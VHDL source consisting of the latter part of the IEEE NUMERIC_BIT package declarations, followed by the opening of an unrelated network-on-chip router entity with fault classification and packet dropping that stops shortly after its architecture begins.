-- Result subtype: UNSIGNED((R'LENGTH+R'LENGTH-1) downto 0).
-- Result: Multiplies an UNSIGNED vector, R, with a non-negative
-- INTEGER, L. L is converted to an UNSIGNED vector of
-- size R'LENGTH before multiplication.
-- Id: A.19
function "*" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED((L'LENGTH+L'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, L, with an INTEGER, R. R is
-- converted to a SIGNED vector of size L'LENGTH before
-- multiplication.
-- Id: A.20
function "*" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED((R'LENGTH+R'LENGTH-1) downto 0)
-- Result: Multiplies a SIGNED vector, R, with an INTEGER, L. L is
-- converted to a SIGNED vector of size R'LENGTH before
-- multiplication.
--============================================================================
--
-- NOTE: If second argument is zero for "/" operator, a severity level
-- of ERROR is issued.
-- Id: A.21
function "/" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by another UNSIGNED vector, R.
-- Id: A.22
function "/" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an SIGNED vector, L, by another SIGNED vector, R.
-- Id: A.23
function "/" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Divides an UNSIGNED vector, L, by a non-negative INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.24
function "/" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Divides a non-negative INTEGER, L, by an UNSIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.25
function "/" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Divides a SIGNED vector, L, by an INTEGER, R.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.26
function "/" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Divides an INTEGER, L, by a SIGNED vector, R.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "rem" operator, a severity level
-- of ERROR is issued.
-- Id: A.27
function "rem" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are UNSIGNED vectors.
-- Id: A.28
function "rem" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L and R are SIGNED vectors.
-- Id: A.29
function "rem" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is an UNSIGNED vector and R is a
-- non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.30
function "rem" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is an UNSIGNED vector and L is a
-- non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.31
function "rem" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where L is SIGNED vector and R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.32
function "rem" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L rem R" where R is SIGNED vector and L is an INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
--
-- NOTE: If second argument is zero for "mod" operator, a severity level
-- of ERROR is issued.
-- Id: A.33
function "mod" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are UNSIGNED vectors.
-- Id: A.34
function "mod" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L and R are SIGNED vectors.
-- Id: A.35
function "mod" (L: UNSIGNED; R: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an UNSIGNED vector and R
-- is a non-negative INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.36
function "mod" (L: NATURAL; R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where R is an UNSIGNED vector and L
-- is a non-negative INTEGER.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
-- Id: A.37
function "mod" (L: SIGNED; R: INTEGER) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is a SIGNED vector and
-- R is an INTEGER.
-- If NO_OF_BITS(R) > L'LENGTH, result is truncated to L'LENGTH.
-- Id: A.38
function "mod" (L: INTEGER; R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(R'LENGTH-1 downto 0)
-- Result: Computes "L mod R" where L is an INTEGER and
-- R is a SIGNED vector.
-- If NO_OF_BITS(L) > R'LENGTH, result is truncated to R'LENGTH.
--============================================================================
-- Comparison Operators
--============================================================================
-- Id: C.1
function ">" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.2
function ">" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.3
function ">" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.4
function ">" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a INTEGER and
-- R is a SIGNED vector.
-- Id: C.5
function ">" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.6
function ">" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L > R" where L is a SIGNED vector and
-- R is a INTEGER.
--============================================================================
-- Id: C.7
function "<" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.8
function "<" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.9
function "<" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.10
function "<" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.11
function "<" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.12
function "<" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L < R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.13
function "<=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.14
function "<=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.15
function "<=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.16
function "<=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.17
function "<=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.18
function "<=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L <= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.19
function ">=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.20
function ">=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.21
function ">=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.22
function ">=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.23
function ">=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.24
function ">=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L >= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.25
function "=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.26
function "=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.27
function "=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.28
function "=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.29
function "=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.30
function "=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L = R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Id: C.31
function "/=" (L, R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are UNSIGNED vectors possibly
-- of different lengths.
-- Id: C.32
function "/=" (L, R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L and R are SIGNED vectors possibly
-- of different lengths.
-- Id: C.33
function "/=" (L: NATURAL; R: UNSIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a non-negative INTEGER and
-- R is an UNSIGNED vector.
-- Id: C.34
function "/=" (L: INTEGER; R: SIGNED) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an INTEGER and
-- R is a SIGNED vector.
-- Id: C.35
function "/=" (L: UNSIGNED; R: NATURAL) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is an UNSIGNED vector and
-- R is a non-negative INTEGER.
-- Id: C.36
function "/=" (L: SIGNED; R: INTEGER) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Computes "L /= R" where L is a SIGNED vector and
-- R is an INTEGER.
--============================================================================
-- Shift and Rotate Functions
--============================================================================
-- Id: S.1
function SHIFT_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits are lost.
-- Id: S.2
function SHIFT_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on an UNSIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT rightmost bits are lost.
-- Id: S.3
function SHIFT_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-left on a SIGNED vector COUNT times.
-- The vacated positions are filled with Bit '0'.
-- The COUNT leftmost bits, except ARG'LEFT, are lost.
-- Id: S.4
function SHIFT_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a shift-right on a SIGNED vector COUNT times.
-- The vacated positions are filled with the leftmost bit, ARG'LEFT.
-- The COUNT rightmost bits are lost.
--============================================================================
-- Id: S.5
function ROTATE_LEFT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-left of an UNSIGNED vector COUNT times.
-- Id: S.6
function ROTATE_RIGHT (ARG: UNSIGNED; COUNT: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a rotate-right of an UNSIGNED vector COUNT times.
-- Id: S.7
function ROTATE_LEFT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-left of a SIGNED vector COUNT times.
-- Id: S.8
function ROTATE_RIGHT (ARG: SIGNED; COUNT: NATURAL) return SIGNED;
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: Performs a logical rotate-right of a SIGNED vector COUNT times.
--============================================================================
------------------------------------------------------------------------------
-- Note : Function S.9 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.9
function "sll" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.10 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.10
function "sll" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.11 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.11
function "srl" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: SHIFT_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.12 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.12
function "srl" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: SIGNED(SHIFT_RIGHT(UNSIGNED(ARG), COUNT))
------------------------------------------------------------------------------
-- Note : Function S.13 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.13
function "rol" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.14
function "rol" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_LEFT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.15 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.15
function "ror" (ARG: UNSIGNED; COUNT: INTEGER) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
------------------------------------------------------------------------------
-- Note : Function S.16 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: S.16
function "ror" (ARG: SIGNED; COUNT: INTEGER) return SIGNED; --V93
-- Result subtype: SIGNED(ARG'LENGTH-1 downto 0)
-- Result: ROTATE_RIGHT(ARG, COUNT)
--============================================================================
-- RESIZE Functions
--============================================================================
-- Id: R.1
function RESIZE (ARG: SIGNED; NEW_SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the SIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with the sign bit (ARG'LEFT). When truncating,
-- the sign bit is retained along with the rightmost part.
-- Id: R.2
function RESIZE (ARG: UNSIGNED; NEW_SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(NEW_SIZE-1 downto 0)
-- Result: Resizes the UNSIGNED vector ARG to the specified size.
-- To create a larger vector, the new [leftmost] bit positions
-- are filled with '0'. When truncating, the leftmost bits
-- are dropped.
--============================================================================
-- Conversion Functions
--============================================================================
-- Id: D.1
function TO_INTEGER (ARG: UNSIGNED) return NATURAL;
-- Result subtype: NATURAL. Value cannot be negative since parameter is an
-- UNSIGNED vector.
-- Result: Converts the UNSIGNED vector to an INTEGER.
-- Id: D.2
function TO_INTEGER (ARG: SIGNED) return INTEGER;
-- Result subtype: INTEGER
-- Result: Converts a SIGNED vector to an INTEGER.
-- Id: D.3
function TO_UNSIGNED (ARG, SIZE: NATURAL) return UNSIGNED;
-- Result subtype: UNSIGNED(SIZE-1 downto 0)
-- Result: Converts a non-negative INTEGER to an UNSIGNED vector with
-- the specified size.
-- Id: D.4
function TO_SIGNED (ARG: INTEGER; SIZE: NATURAL) return SIGNED;
-- Result subtype: SIGNED(SIZE-1 downto 0)
-- Result: Converts an INTEGER to a SIGNED vector of the specified size.
--============================================================================
-- Logical Operators
--============================================================================
-- Id: L.1
function "not" (L: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.2
function "and" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.3
function "or" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.4
function "nand" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.5
function "nor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.6
function "xor" (L, R: UNSIGNED) return UNSIGNED;
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.7 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.7
function "xnor" (L, R: UNSIGNED) return UNSIGNED; --V93
-- Result subtype: UNSIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
-- Id: L.8
function "not" (L: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Termwise inversion
-- Id: L.9
function "and" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector AND operation
-- Id: L.10
function "or" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector OR operation
-- Id: L.11
function "nand" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NAND operation
-- Id: L.12
function "nor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector NOR operation
-- Id: L.13
function "xor" (L, R: SIGNED) return SIGNED;
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XOR operation
------------------------------------------------------------------------------
-- Note : Function L.14 is not compatible with VHDL 1076-1987. Comment
-- out the function (declaration and body) for VHDL 1076-1987 compatibility.
------------------------------------------------------------------------------
-- Id: L.14
function "xnor" (L, R: SIGNED) return SIGNED; --V93
-- Result subtype: SIGNED(L'LENGTH-1 downto 0)
-- Result: Vector XNOR operation
--============================================================================
-- Edge Detection Functions
--============================================================================
-- Id: E.1
function RISING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '0' to a '1'.
-- Id: E.2
function FALLING_EDGE (signal S: BIT) return BOOLEAN;
-- Result subtype: BOOLEAN
-- Result: Returns TRUE if an event is detected on signal S and the
-- value changed from a '1' to a '0'.
end NUMERIC_BIT;
|
--Copyright (C) 2016 Siavoosh Payandeh Azad
library ieee;
use ieee.std_logic_1164.all;
--use IEEE.STD_LOGIC_ARITH.ALL;
--use IEEE.STD_LOGIC_UNSIGNED.ALL;
entity router_credit_based_PD_C_SHMU is --fault classifier plus packet-dropping
generic (
DATA_WIDTH: integer := 32;
current_address : integer := 0;
Rxy_rst : integer := 10;
Cx_rst : integer := 10;
healthy_counter_threshold : integer := 8;
faulty_counter_threshold: integer := 2;
counter_depth: integer := 4;
NoC_size: integer := 4
);
port (
reset, clk: in std_logic;
RX_N, RX_E, RX_W, RX_S, RX_L : in std_logic_vector (DATA_WIDTH-1 downto 0);
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
valid_in_N, valid_in_E, valid_in_W, valid_in_S, valid_in_L : in std_logic;
valid_out_N, valid_out_E, valid_out_W, valid_out_S, valid_out_L : out std_logic;
credit_out_N, credit_out_E, credit_out_W, credit_out_S, credit_out_L: out std_logic;
TX_N, TX_E, TX_W, TX_S, TX_L: out std_logic_vector (DATA_WIDTH-1 downto 0);
Faulty_N_in, Faulty_E_in, Faulty_W_in, Faulty_S_in: in std_logic;
Faulty_N_out, Faulty_E_out, Faulty_W_out, Faulty_S_out: out std_logic;
-- should be connected to NI
link_faults: out std_logic_vector(4 downto 0);
turn_faults: out std_logic_vector(7 downto 0);
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end router_credit_based_PD_C_SHMU;
architecture behavior of router_credit_based_PD_C_SHMU is
COMPONENT FIFO_credit_based is
generic (
DATA_WIDTH: integer := 32
);
port ( reset: in std_logic;
clk: in std_logic;
RX: in std_logic_vector(DATA_WIDTH-1 downto 0);
valid_in: in std_logic;
read_en_N : in std_logic;
read_en_E : in std_logic;
read_en_W : in std_logic;
read_en_S : in std_logic;
read_en_L : in std_logic;
credit_out: out std_logic;
empty_out: out std_logic;
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0);
fault_info, health_info: out std_logic
);
end COMPONENT;
COMPONENT counter_threshold_classifier is
generic (
counter_depth: integer := 8;
healthy_counter_threshold: integer := 4;
faulty_counter_threshold: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
faulty_packet, Healthy_packet: in std_logic;
Healthy, intermittent, Faulty: out std_logic
);
end COMPONENT;
COMPONENT allocator is
port ( reset: in std_logic;
clk: in std_logic;
-- flow control
credit_in_N, credit_in_E, credit_in_W, credit_in_S, credit_in_L: in std_logic;
req_N_N, req_N_E, req_N_W, req_N_S, req_N_L: in std_logic;
req_E_N, req_E_E, req_E_W, req_E_S, req_E_L: in std_logic;
req_W_N, req_W_E, req_W_W, req_W_S, req_W_L: in std_logic;
req_S_N, req_S_E, req_S_W, req_S_S, req_S_L: in std_logic;
req_L_N, req_L_E, req_L_W, req_L_S, req_L_L: in std_logic;
empty_N, empty_E, empty_W, empty_S, empty_L: in std_logic;
-- grant_X_Y means the grant for X output port towards Y input port
-- this means for any X in [N, E, W, S, L] then set grant_X_Y is one hot!
valid_N, valid_E, valid_W, valid_S, valid_L : out std_logic;
grant_N_N, grant_N_E, grant_N_W, grant_N_S, grant_N_L: out std_logic;
grant_E_N, grant_E_E, grant_E_W, grant_E_S, grant_E_L: out std_logic;
grant_W_N, grant_W_E, grant_W_W, grant_W_S, grant_W_L: out std_logic;
grant_S_N, grant_S_E, grant_S_W, grant_S_S, grant_S_L: out std_logic;
grant_L_N, grant_L_E, grant_L_W, grant_L_S, grant_L_L: out std_logic
);
end COMPONENT;
COMPONENT LBDR_packet_drop is
generic (
cur_addr_rst: integer := 0;
Rxy_rst: integer := 8;
Cx_rst: integer := 8;
NoC_size: integer := 4
);
port ( reset: in std_logic;
clk: in std_logic;
Faulty_C_N, Faulty_C_E, Faulty_C_W, Faulty_C_S: in std_logic;
empty: in std_logic;
flit_type: in std_logic_vector(2 downto 0);
dst_addr: in std_logic_vector(NoC_size-1 downto 0);
packet_drop_order: out std_logic;
grant_N, grant_E, grant_W, grant_S, grant_L: in std_logic;
Req_N, Req_E, Req_W, Req_S, Req_L:out std_logic;
Rxy_reconf_PE: in std_logic_vector(7 downto 0);
Cx_reconf_PE: in std_logic_vector(3 downto 0);
Reconfig_command : in std_logic
);
end COMPONENT;
COMPONENT XBAR is
generic (
DATA_WIDTH: integer := 32
);
port (
North_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
East_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
West_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
South_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
Local_in: in std_logic_vector(DATA_WIDTH-1 downto 0);
sel: in std_logic_vector (4 downto 0);
Data_out: out std_logic_vector(DATA_WIDTH-1 downto 0)
);
end COMPONENT;
signal FIFO_D_out_N, FIFO_D_out_E, FIFO_D_out_W, FIFO_D_out_S, FIFO_D_out_L: std_logic_vector(DATA_WIDTH-1 downto 0);
-- Grant_XY : Grant signal generated from Arbiter for output X connected to FIFO of input Y
signal Grant_NN, Grant_NE, Grant_NW, Grant_NS, Grant_NL: std_logic;
signal Grant_EN, Grant_EE, Grant_EW, Grant_ES, Grant_EL: std_logic;
signal Grant_WN, Grant_WE, Grant_WW, Grant_WS, Grant_WL: std_logic;
signal Grant_SN, Grant_SE, Grant_SW, Grant_SS, Grant_SL: std_logic;
signal Grant_LN, Grant_LE, Grant_LW, Grant_LS, Grant_LL: std_logic;
signal Req_NN, Req_EN, Req_WN, Req_SN, Req_LN: std_logic;
signal Req_NE, Req_EE, Req_WE, Req_SE, Req_LE: std_logic;
signal Req_NW, Req_EW, Req_WW, Req_SW, Req_LW: std_logic;
signal Req_NS, Req_ES, Req_WS, Req_SS, Req_LS: std_logic;
signal Req_NL, Req_EL, Req_WL, Req_SL, Req_LL: std_logic;
signal empty_N, empty_E, empty_W, empty_S, empty_L: std_logic;
signal Xbar_sel_N, Xbar_sel_E, Xbar_sel_W, Xbar_sel_S, Xbar_sel_L: std_logic_vector(4 downto 0);
signal faulty_packet_N, faulty_packet_E, faulty_packet_W, faulty_packet_S, faulty_packet_L: std_logic;
signal healthy_packet_N, healthy_packet_E, healthy_packet_W, healthy_packet_S, healthy_packet_L: std_logic;
signal packet_drop_order_N, packet_drop_order_E, packet_drop_order_W, packet_drop_order_S, packet_drop_order_L: std_logic;
signal healthy_link_N, healthy_link_E, healthy_link_W, healthy_link_S, healthy_link_L: std_logic;
signal sig_Faulty_N_out, sig_Faulty_E_out, sig_Faulty_W_out, sig_Faulty_S_out, faulty_link_L: std_logic;
signal intermittent_link_N, intermittent_link_E, intermittent_link_W, intermittent_link_S, intermittent_link_L: std_logic;
begin
turn_faults <= "00000000";
